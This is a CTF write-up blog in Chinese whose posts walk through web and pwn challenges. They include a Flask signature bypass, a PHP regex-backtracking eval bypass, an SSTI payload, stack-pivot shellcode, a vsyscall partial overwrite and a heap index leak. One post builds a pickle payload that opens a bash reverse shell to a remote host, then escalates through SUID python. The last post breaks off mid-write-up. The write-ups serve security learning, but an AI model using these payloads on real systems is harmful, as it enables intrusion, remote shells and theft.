wubba lubba dub dub.
post @ 2023-09-08

题目链接

0x1 分析

打开页面 得到源码 整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python
# -*- coding: utf-8 -*-
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip,):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
# SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if 'scan' in self.action:
tmpfile = open('./%s/result.txt' % self.sandbox, 'w')
resp = scan(self.param)
if resp == 'Connection Timeout':
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if 'read' in self.action:
f = open('./%s/result.txt' % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = 'Action Error'
else:
result['code'] = 500
result['msg'] = 'Sign Error'
return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False

# generate Sign For Action Scan.

@app.route('/geneSign', methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get('param', ''))
action = 'scan'
return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get('action'))
param = urllib.unquote(request.args.get('param', ''))
sign = urllib.unquote(request.cookies.get('sign'))
ip = request.remote_addr

if waf(param):
return 'No Hacker!!!!'

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open('code.txt', 'r').read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return 'Connection Timeout'

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check = param.strip().lower()
if check.startswith('gopher') or check.startswith('file'):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

三个路由:

  1. / → 展示源码
  2. /geneSign → 根据param生成数字签名
  3. /De1ta → 在cookie中获取action, sign,并get param(过滤了 gopher 和 file ) 然后新建Task并执行task.Exec
    1. 21#根据传入的ip生成沙盒文件夹
    2. 29#根据 param 和 action 检查签名是否有效
    3. 30#如果 action 中有 scan 则执行 83# ,将结果写入 /{sandbox}/result.txt
    4. 40#如果 action 中有 read 则读取 result.txt 并回显

0x2 攻击方法

由于86#urllib.urlopen可以以文件名作为参数打开,尝试scan code.txt然后 read

由于数字签名校验,我们需要先获取sign再向/De1ta发请求 scan方法可以直接通过/geneSign → 63#获取,但是 read 方法不行

且生成需要secret_key(16个随即字节) 不考虑爆破

但同时发现30#40#判断用的是in而不是is 可能有攻击点 尝试拼接

很明显 向/De1ta发请求时 action=readscan 这样既会读又会写 向/geneSign请求时只要在param的末尾加上read 这样生成的sign就和53#生成的sign相同 绕过检测

0x3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def getSign(dest):
url = 'http://node4.anna.nssctf.cn:28719/geneSign'
data = {'param': dest + 'read'}
return requests.post(url=url, params=data).text

def get_content(dest):
url = 'http://node4.anna.nssctf.cn:28719/De1ta'
data = {'param': dest}
cookies = {'action': 'readscan', 'sign': str(getSign(dest))}
res = requests.post(url=url, params=data, cookies=cookies)
print(res.text)

dst = 'flag.txt'

get_content(dst)
# {"code": 200, "data": "NSSCTF{cbbd7581-79f0-4636-b907-c45578de18f6}\n"}
Read More
post @ 2023-09-05

题目链接

0x1 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

严格正则过滤,尝试PCRE回溯绕过

具体见 PHP利用PCRE回溯次数限制绕过某些安全限制

0x2 exp

1
2
3
4
5
6
import requests

js = '{"cmd":"system(\'ls\');", "t":"' + '@' * 1000000 + '"}' # 回溯得用@^等特殊字符
data = { 'letter': js }
res = requests.post(url='http://node4.anna.nssctf.cn:28296/', data=data)
print(res.text)

但是得到差一点点捏 尝试多次发现system, exec, assert等都被过滤 尝试使用短标签

1
?><?=`ls`;?>

?>闭合了eval自带的<?标签 接下来使用了短标签 <?=相当于<?echo

1
2
js = '{"cmd":"?><?=`ls /`;?>", "t":"' + '@' * 1000000 + '"}'
js = '{"cmd":"?><?=`nl /f*`;?>", "t":"' + '@' * 1000000 + '"}' # cat, tac, flag都被过滤
Read More
post @ 2023-09-05

[相关资源](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w)

文件分析

1
2
3
4
5
6
7
$ checksec b0verfl0w
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

代码分析

明显栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
int vul() {
char s[32]; // [esp+18h] [ebp-20h] BYREF
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}

攻击方法

栈上可执行 首先想着就是在s数组中写入shellcode然后跳转到s 但因为aslr栈地址随机化无法知道s的地址 也没有别的后门函数

查看jmpgadget发现

1
2
3
4
5
6
$ ROPgadget --binary b0verfl0w --only "ret|jmp"
Gadgets information
============================================================
[...]
0x08048504 : jmp esp
[...]

jmp esp用处

当当前函数执行到leave指令后(即mov esp, ebp;pop ebp),esp指向ret addr,接着ret跳转执行 esp = esp + 4; eip = ret addr

1
2
3
4
|------------|------...----|     |------------|------...----|
| addr 0x11 | ... | → | addr 0x11 | ... |
|------------|------...----| |------------|------...----|
↑ esp ↑ esp eip = 0x11

但如果ret addr处地址为jmp esp的地址 则执行完jmp之后,eip和esp指向同一块位置,也就是接着执行栈上的指令

1
2
3
4
5
6
7
8
|------------|------...----|      |------------|------...----|
| addr 0x11 | ... | → | addr 0x11 | ... |
|------------|------...----| |------------|------...----|
↑ esp ↑ esp eip = 0x11(jmp esp)
|------------|------...----|
➤ jmp esp ➤ | addr 0x11 | ... |
|------------|------...----|
↑ esp,eip

因此我们可以在ret addr之后写入汇编指令 但是由于只有50 - 32 = 18字节的溢出空间,显然不够写入完整shellcode

但是可以把shellcode写入变量s 在ret addr之后写入sub esp, 0x28;jmp esp 0x20(s) + 0x4(old ebp) + 0x4(ret addr) = 0x28

这样子就可以把esp移到变量s的地址,然后跳转执行s里的shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import sys

context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]
proc = process("./b0verfl0w")

gscript = '''
b * 0x0804857A
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

# shellcode, from https://shell-storm.org/shellcode/files/shellcode-811.html
shcode = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"

ret = 0x0804836a
jmp_esp = 0x08048504
sub_esp_jmp = asm("sub esp, 0x28;jmp esp") # move esp back to s, then jmp to esp

proc.sendlineafter(b'name?', shcode.ljust(0x24, b'h') + p32(jmp_esp) + sub_esp_jmp)

proc.interactive()
pause()
Read More
post @ 2023-09-04

题目链接

显示Welcome To Find Secret

访问/secret,看到Tell me your secret.I will encrypt it so others can't see

传secret参数/secret?secret=123456发现报错

1
2
3
4
5
6
7
8
9
10
# File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'

return a

RC4解密后进行render渲染,很明显直接模板注入

RC4加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
from urllib.parse import quote


def rc4_main(key="HereIsTreasure", message="ciscn"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt


def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box


def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


rc4_main("HereIsTreasure", "{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}")

然后传参secret,即可获取flag

Read More

相关资源

文件分析

1
2
3
4
5
6
$ checksec stackstuff 
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

代码分析

main

14#设定在端口1514监听,24#accept接收到socket之后fork出子进程,执行37#execl,即执行到4#handle_request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp) {
// [...]
if (!strcmp(*argv, "reexec")) {
handle_request();
return 0;
} else {
v4 = socket(10, 1, 0);
fd = negchke(v4, "unable to create socket");
*(_QWORD *)&addr.sa_family = 10LL;
*(_QWORD *)&addr.sa_data[6] = 0LL;
v15 = 0LL;
v16 = 0;
*(_WORD *)addr.sa_data = htons(1514u);
optval = 1;
v5 = setsockopt(fd, 1, 2, &optval, 4u);
negchke(v5, "unable to set SO_REUSEADDR");
v6 = bind(fd, &addr, 0x1Cu);
negchke(v6, "unable to bind");
v7 = listen(fd, 16);
negchke(v7, "unable to listen");
signal(17, (__sighandler_t)((char *)&dword_0 + 1));
while (1) {
v8 = accept(fd, 0LL, 0LL);
v18 = negchke(v8, "unable to accept");
v9 = fork();
if (!(unsigned int)negchke(v9, "unable to fork"))
break;
close(v18);
}
close(fd);
v10 = dup2(v18, 0);
negchke(v10, "unable to dup2");
v11 = dup2(v18, 1);
negchke(v11, "unable to dup2");
close(v18);
v12 = execl("/proc/self/exe", "reexec", 0LL);
negchke(v12, "unable to reexec");
return 0;
}
}

handle_request

读取密码,15#require_auth进行验证,验证通过输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int handle_request() {
char v1[64]; // [rsp+0h] [rbp-58h] BYREF
FILE *v2; // [rsp+40h] [rbp-18h]
FILE *stream; // [rsp+48h] [rbp-10h]

alarm(0x3Cu);
setbuf(stdout, 0LL);
stream = fopen("password", "r");
if (!stream || !fgets(real_password, 50, stream)) {
fwrite("unable to read real_password\n", 1uLL, 0x1DuLL, stderr);
exit(0);
}
fclose(stream);
puts("Hi! This is the flag download service.");
require_auth();
v2 = fopen("flag", "r");
if (!v2 || !fgets(v1, 50, v2)) {
fwrite("unable to read flag\n", 1uLL, 0x14uLL, stderr);
exit(0);
}
return puts(v1);
}

require_auth -> check_password_correct

读取长度,超过50则置为90,明显栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_BOOL8 check_password_correct() {
size_t v0; // rax
int v2; // [rsp+Ch] [rbp-4Ch] BYREF
char ptr[50]; // [rsp+10h] [rbp-48h] BYREF

memset(ptr, 0, sizeof(ptr));
puts("To download the flag, you need to specify a password.");
printf("Length of password: ");
v2 = 0;
if ((unsigned int)__isoc99_scanf("%d\n", &v2) != 1)
exit(0);
if (v2 <= 0 || v2 > 50)
v2 = 90;
v0 = fread(ptr, 1uLL, v2, stdin);
if (v0 != v2)
exit(0);
return strcmp(ptr, real_password) == 0;
}

攻击方法

子进程中check_password_correct调试方法

1
2
3
4
5
6
7
8
9
10
# terminal 1
$ gdb stackstuff
gef➤ set follow-fork-mode child
gef➤ b check_password_correct
gef➤ r

# 然后在另一个terminal 2
$ nc 127.0.0.1 1514

# terminal 1 中即可看到运行到check_password_correct

程序虽然存在栈溢出,但是开了PIE也没有泄露的地方 首先想着能不能直接覆盖返回地址的低位字节控制跳转

gdb调试进入到check_password_correct,获取输入到ret_addr的偏移量为0x7fffffffe398 - 0x007fffffffe350 = 0x48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
───────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555400f7e → check_password_correct()
[#1] 0x555555400fd1 → require_auth()
[#2] 0x55555540108b → handle_request()
[#3] 0x55555540112d → main()

gef➤ info f
Stack level 0, frame at 0x7fffffffe3a0:
rip = 0x555555400f7e in check_password_correct; saved rip = 0x555555400fd1
called by frame at 0x7fffffffe3b0
Arglist at 0x7fffffffe338, args:
Locals at 0x7fffffffe338, Previous frame's sp is 0x7fffffffe3a0
Saved registers:
rip at 0x7fffffffe398 # ret addr

gef➤ stack 15
────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe340│+0x0000: 0x007ffff7f98760 → 0x00000000fbad2887 ← $rsp
0x007fffffffe348│+0x0008: 0x0000005af7e47283
0x007fffffffe350│+0x0010: "afdsfasdfasdf\ngasfdasffffffffffffffffffffffffffff[...]"
0x007fffffffe358│+0x0018: "fasdf\ngasfdasffffffffffffffffffffffffffffffffffff[...]"
0x007fffffffe360│+0x0020: "sfdasfffffffffffffffffffffffffffffffffffffffffff\n"
0x007fffffffe368│+0x0028: "ffffffffffffffffffffffffffffffffffffffff\n"
0x007fffffffe370│+0x0030: "ffffffffffffffffffffffffffffffff\n"
0x007fffffffe378│+0x0038: "ffffffffffffffffffffffff\n"
0x007fffffffe380│+0x0040: "ffffffffffffffff\n"
0x007fffffffe388│+0x0048: "ffffffff\n"
0x007fffffffe390│+0x0050: 0x0000000000000a ("\n"?)
0x007fffffffe398│+0x0058: 0x00555555400fd1 → <require_auth+23> test eax, eax
0x007fffffffe3a0│+0x0060: 0x0000000000000000
0x007fffffffe3a8│+0x0068: 0x0055555540108b → <handle_request+177> lea rsi, [rip+0x36d] # 0x5555554013ff
0x007fffffffe3b0│+0x0070: 0x0000000000000000

但是read长度为90 == 0x5a,所以还要往下写0x12个字节,那么整个返回地址都会被覆盖掉,这个方法也就不行了

但是发现能刚刚好覆盖0x0x007fffffffe3a8处上层栈帧的返回地址的最低两个字节,即require_auth成功执行结束后开始读取flag的地址,明显也就是我们想要的跳转地址

1
2
3
4
5
6
7
8
9
10
.text:000000000000106D loc_106D:
.text:000000000000106D mov rax, [rsp+58h+stream]
.text:0000000000001072 mov rdi, rax ; stream
.text:0000000000001075 call _fclose
.text:000000000000107A lea rdi, aHiThisIsTheFla ; "Hi! This is the flag download service."
.text:0000000000001081 call _puts
.text:0000000000001086 call require_auth
.text:000000000000108B lea rsi, modes ; "r"
.text:0000000000001092 lea rdi, aFlag ; "flag"
.text:0000000000001099 call _fopen

现在目标就是在栈上写两个ret指令的地址并覆盖0x0x007fffffffe3a8处最低两个字节保持地址值不变即可

vsyscall

即使开了PIE随机化,还有一个vsyscall段,它的地址是固定的,其中有ret指令可以满足我们的要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gef➤  vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] # here (环境为ubuntu22.08)
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3

注意不论怎么随机化最低12bit的08b是不变的(页对齐),因此需要爆破倒数第二个字节,但最多也只需爆破16次,即从0x008b,0x108b...0xf08b

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

rdbyte = 0x00
while True:
client = remote("localhost", 1514)
client.sendlineafter(b'Length', b'60')
payload = b'h' * 0x48 + p64(0xffffffffff600800) * 2 # padding 加上两次ret
payload += b'\x8b' + p8(rdbyte) # 覆盖倒数两个字节
rdbyte += 0x10 # 爆破
client.sendline(payload)
if b'{' in client.recvall():
break
client.close()
# flag{g0ttem_b0yz}
Read More
post @ 2023-09-02

0x1

题目提示有www.zip 下载得到里面的app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

明显应该是 flask session伪造 ,具体可以看到https://antel0p3.github.io/2023/08/19/LitCTF2023-flagclick-wp/

1
2
3
4
5
6
# cookie 中得到session
$ python3 flask_session_cookie_manager.py decode -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRuNGhlaWp0RVRUIn19.ZPM8vQ.BukMzKlq_IzarfBPlj81mXkRZQc"
# {"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTn4heijtETT"}}

$ python3 flask_session_cookie_manager.py encode -s "GWHTn4heijtETT" -t '{"Attribute":{"admin":1,"name":"admin","secret_key":"GWHTn4heijtETT"}}'
# eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUbjRoZWlqdEVUVCJ9fQ.ZPM9Yw.CSad0BXG0k7E6ds_Om4lYMcXIto

更改cookie后再次访问/verification可以看到

Hello admin, welcome to /ppppppppppick1e

0x2

访问 /ppppppppppick1e 看到Hello, admin 其他啥也没有

查看网络包头发现有Hint:Source in /src0de

0x3

访问 /src0de 得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]


@ app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp


class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

明显21#pickle.loads存在 pickle 反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import pickletools
import base64

poc = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1"' # 这里需要一个自己的vps公网ip
o.'''

pickletools.dis(poc)
print(poc)
print(base64.b64encode(poc))
# KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwOS4zNi4yNi84ODg4IDA+JjEiJwpvLg==

具体参考

https://zhuanlan.zhihu.com/p/361349643 https://zhuanlan.zhihu.com/p/89132768

用cookie editor 加上 pick1e=KGNvcw...后刷新可以得到反弹shell

0x4

发现根目录下有flag 但是需要root权限读取 开始提权

1
2
3
4
5
6
7
8
9
10
$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/python3.8

可以看到 python3.8

1
2
$ python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'	# 执行完后没有回显  直接输指令就好
$ cat /flag
Read More

相关资源

文件分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ checksec dream_heaps 
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
$ ./dream_heaps
Online dream catcher! Write dreams down and come back to them later!

What would you like to do?
1: Write dream
2: Read dream
3: Edit dream
4: Delete dream
5: Quit

代码分析

菜单题,主要就4个功能

0x1 new

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 new_dream() {
int v1; // [rsp+Ch] [rbp-14h] BYREF
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0;
puts("How long is your dream?");
__isoc99_scanf("%d", &v1);
buf = malloc(v1);
puts("What are the contents of this dream?");
read(0, buf, v1);
HEAP_PTRS[INDEX] = (__int64)buf;
SIZES[INDEX++] = v1;
return __readfsqword(0x28u) ^ v3;
}

可以追踪到bss段INDEX, HEAP_PTRS, SIZES的分布;发现HEAP_PTRS相当于长度为8的指针数组,SIZES也是长度为8的int数组

但是新增heap没有检测INDEX是否超出7,所以这里可以覆盖SIZES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.bss:000000000060208C                               public INDEX
.bss:000000000060208C ?? ?? ?? ?? INDEX dd ? ; DATA XREF: new_dream+70↑r
.bss:000000000060208C ; new_dream+84↑r
.bss:000000000060208C ; new_dream+96↑r
.bss:000000000060208C ; new_dream+9F↑w
.bss:000000000060208C ; read_dream+41↑r
.bss:000000000060208C ; edit_dream+41↑r
.bss:000000000060208C ; delete_dream+41↑r
.bss:0000000000602090 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:00000000006020A0 public HEAP_PTRS
.bss:00000000006020A0 ; __int64 HEAP_PTRS[8]
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+HEAP_PTRS dq 8 dup(?) ; 0
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; DATA XREF: new_dream+7C↑w
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; read_dream+5C↑r
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; edit_dream+5C↑r
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; delete_dream+5C↑r
.bss:00000000006020A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; delete_dream+79↑w
.bss:00000000006020E0 public SIZES
.bss:00000000006020E0 ; int SIZES[]
.bss:00000000006020E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+SIZES dd 8 dup(?) ; 0
.bss:00000000006020E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; DATA XREF: new_dream+8F↑w
.bss:00000000006020E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

0x2 read

读入下标输出对应内容,注意只检测了v1不超过INDEX但是没有检查是否小于0,因此可以写入负数实现多地址内容读取从而泄露libc基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 read_dream() {
int v1; // [rsp+Ch] [rbp-14h] BYREF
const char *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which dream would you like to read?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 <= INDEX ) {
v2 = (const char *)HEAP_PTRS[v1];
printf("%s", v2);
}
else {
puts("Hmm you skipped a few nights...");
}
return __readfsqword(0x28u) ^ v3;
}

0x3 edit

从HEAP_PTRS和SIZES分别取指针和大小,然后对应更改,同样也是存在未检测下标为负的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit_dream() {
int v1; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Which dream would you like to change?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if (v1 <= INDEX) {
buf = (void *)HEAP_PTRS[v1];
v2 = SIZES[v1];
read(0, buf, v2);
*((_BYTE *)buf + v2) = 0;
} else {
puts("You haven't had this dream yet...");
}
return __readfsqword(0x28u) ^ v4;
}

0x4 delete

free完指针置为0 没有Use after free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 delete_dream() {
int v1; // [rsp+Ch] [rbp-14h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which dream would you like to delete?");
v1 = 0;
__isoc99_scanf("%d", &v1);
if (v1 <= INDEX) {
ptr = (void *)HEAP_PTRS[v1];
free(ptr);
HEAP_PTRS[v1] = 0LL;
} else {
puts("Nope, you can't delete the future.");
}
return __readfsqword(0x28u) ^ v3;
}

攻击方法

0x1 泄露libc基地址

我们知道可以通过read_dream结合负偏移量打印任意地址里的内容,但具体打印什么地址的内容呢?最好是got表中的地址,这样printf(“%s”)就会输出某个函数真实地址

这里我们通过gdb中的search-pattern 0x00000尝试查找0x602020 (put@got)

1
2
3
4
5
6
7
8
9
10
gef➤  search-pattern 0x602020
[+] Searching '\x20\x20\x60' in memory
[+] In 'nightmare/11-index/swampctf19_dreamheaps/dream_heaps'(0x400000-0x401000), permission=r-x
0x400538 - 0x40053c → "\x20\x20\x60[...]"
gef➤ x/10gx 0x400538
0x400538: 0x0000000000602020 0x0000000200000007
0x400548: 0x0000000000000000 0x0000000000602028
0x400558: 0x0000000300000007 0x0000000000000000
0x400568: 0x0000000000602030 0x0000000400000007
0x400578: 0x0000000000000000 0x0000000000602038

发现0x400538刚好有,那么我们应该从HEAP_PTRS(0x6020a0)偏移到这个位置

(0x6020a0-0x400538) // 8 == 263021 由此当我们输入下标为-263021时即可输出puts的真实地址

0x2 改写got表

